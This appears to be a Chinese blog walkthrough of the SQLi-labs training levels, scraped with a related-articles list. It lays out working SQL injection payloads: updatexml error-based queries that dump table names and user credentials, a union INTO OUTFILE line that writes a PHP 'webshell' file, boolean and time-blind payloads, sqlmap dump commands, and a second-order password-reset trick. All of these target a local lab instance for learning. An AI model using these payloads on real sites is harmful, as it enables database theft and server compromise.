当前位置: 首页 > news >正文

sqllabs游戏

文章目录

          • 总体思路:
            • less-1:
            • less-2:
            • less-3:
            • less-4:
            • less-5:
            • less-6:
            • less-7:
            • less-8:布尔盲注
            • less-9:时间盲注
            • less-21:
            • less-24:

总体思路:

1、第一件事情 逃脱出单引号的控制 闭合单引号
2、单双引号需要成对出现 在python php Java中
3、2个办法 继续把多出来的单引号闭合,要么注释掉单引号
4、MySQL注释符 – # /***/ */ url会编码# 要用%23绕过 规则:ord(‘#’) hex(35)
5、需要知道联合查询的列数 求当前表的列数(联表查询必须保证两个表列数一致)
6、需要order by 检测他的列数 列数3
7、让第一个表查询为空
8、最终目的 注入管理员账号密码
9、首先你要知道管理员表名 列名(利用MySQL自带的数据库information_shame)

less-1:

http://127.0.0.1/sqllabs/less-2/?id=1

less-2:

http://127.0.0.1/sqllabs/less-2/?id=1

less-3:

http://127.0.0.1/sqllabs/less-3/?id=1

less-4:

http://127.0.0.1/sqllabs/less-4/?id=1%27

less-5:

1、报错注入的突破口就是让页面上显示报错。
2、比如在本例中把查询参数的路径写错,页面上只会显示查询不到内容,但是不会报错。
3、但是如果把查询参数的格式符号写错,页面上就会提示出报错信息:
4、由于路径错误,报错信息中显示出了路径信息。
5、于是我们想到,如果在报错之前执行一下select语句,然后在报错提醒信息那里回显出我们想要的数据信息就好了,这//就是报错注入。

http://127.0.0.1/sqllabs/less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%203,1),1,32),0x7e),1)--%20   //查到表名
http://127.0.0.1/sqllabs/less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name%20=%20%27users%27%20limit%202,1),1,32),0x7e),1)--%20//查到列名
127.0.0.1/sqllabs/less-5/?id=1%27 and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),1,32),0x7e),1)--+

在这里插入图片描述

less-6:
sqlmap
less-7:

mysql注入webshell必须满足:
1、root权限
2、知道网站物理路径
3、secure_file_priv 为空(show variables like ‘%secure%’;)

id=1%27))union select 1,2,"<?php phpinfo();" into outfile "E:/phpstudy_pro/www/sqllabs/webshell.php";--+
less-8:布尔盲注
http://127.0.0.1/sqllabs/less-8/?id=1%27%20and%20ascii(substr((select%20database()),1,1))=115--+

我用sqlmap解出来的:

python sqlmap/sqlmap.py-u http://127.0.0.1/sqllabs/Less-8/?id=1 -dbs		//提取数据库
python sqlmap/sqlmap py-u http://127.0.0.1/sqllabs/ess-8/?id=1 -D security --tables//表名
python sqlmap/sqlmap.py -u http://127.0.0.1/sqllabs/Less-8/?id=1 -D security -T users --columns //列名
python sqlmap/sqlmap.pyu http://127.0.0.1/sqllabs/Less-8/?id=1 -D security -T users --dump -C "username,password"//用户名和密码
less-9:时间盲注
1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)--

less-10:
sqlmap

less-21:

我发现不输入正确的用户名和密码就拿不到cookie,由于我知道数据库,所以我尝试输入正确的用户名和密码就抓包,把post放了之后看到get包里的cookie,由于代码是对用户名先进行base64编码之后再进行解码,所以我在注入的时候先对我的uname进行sql代码的base64编码注入即可

截图如下:
在这里插入图片描述

less-24:

看源代码可知在用户修改密码时又注入sql可能,我先注册一个admin’#用户单引号用于合并,#用来注释后面的代码包括’,然后登录admin’#用户修改密码,再进入数据库中可以看到admin用户的密码被修改了

在这里插入图片描述

http://www.lryc.cn/news/418720.html

相关文章:

  • React Native Firebase:移动应用后端集成
  • 趣味算法------开灯问题
  • 如何长生?重要的是对内求索!
  • SD-WAN解决方案
  • 什么是C++的引用,请举例说明
  • 大数据_SQL_5min访问达到100次的用户
  • Python PDF文本处理技巧 - 查找和高亮文字
  • 虚幻引擎 C++ 实现平面阴影
  • leetcode 67. 二进制求和
  • 【C++ 面试 - 基础题】每日 3 题(一)
  • 【动态规划】1、不同路径II+2、三角形最小路径和
  • JavaEE-多线程编程单例模式
  • RHCA III之路---EX436-6
  • Vuex模块化 深入浅出超详细
  • 细说MCU检测按键输入的外部中断和修改HAL_GPIO_EXTI_IRQHandler() 的实现方法
  • 昂科烧录器支持XHSC小华半导体的32位微控制器HC32F005C6P
  • 根据 IP 地址配置子网示例(下挂 hub 接不同 vlan 终端)
  • Flink-DataWorks第四部分:数据同步(第60天)
  • go post请求,参数是raw json格式,response是固定结构。
  • 国产开源大模型都有哪些?
  • 基于Hadoop的超市进货推荐系统设计与实现【springboot案例项目】
  • ChatGPT能从这几个方面提升学术论文质量
  • Python3的安装及基础指令
  • 使用Spring与JDK动态代理实现事务管理
  • 服务器硬件及RAID配置
  • 【经验总结】ShardingSphere5.2.1 + Springboot 快速开始
  • 基于Golang实现Kubernetes边车模式
  • TCP 通信全流程分析:从连接建立到数据传输的深度探索
  • 4、提取H264码流中nalu
  • 哈佛大学单细胞课程|笔记汇总 (二)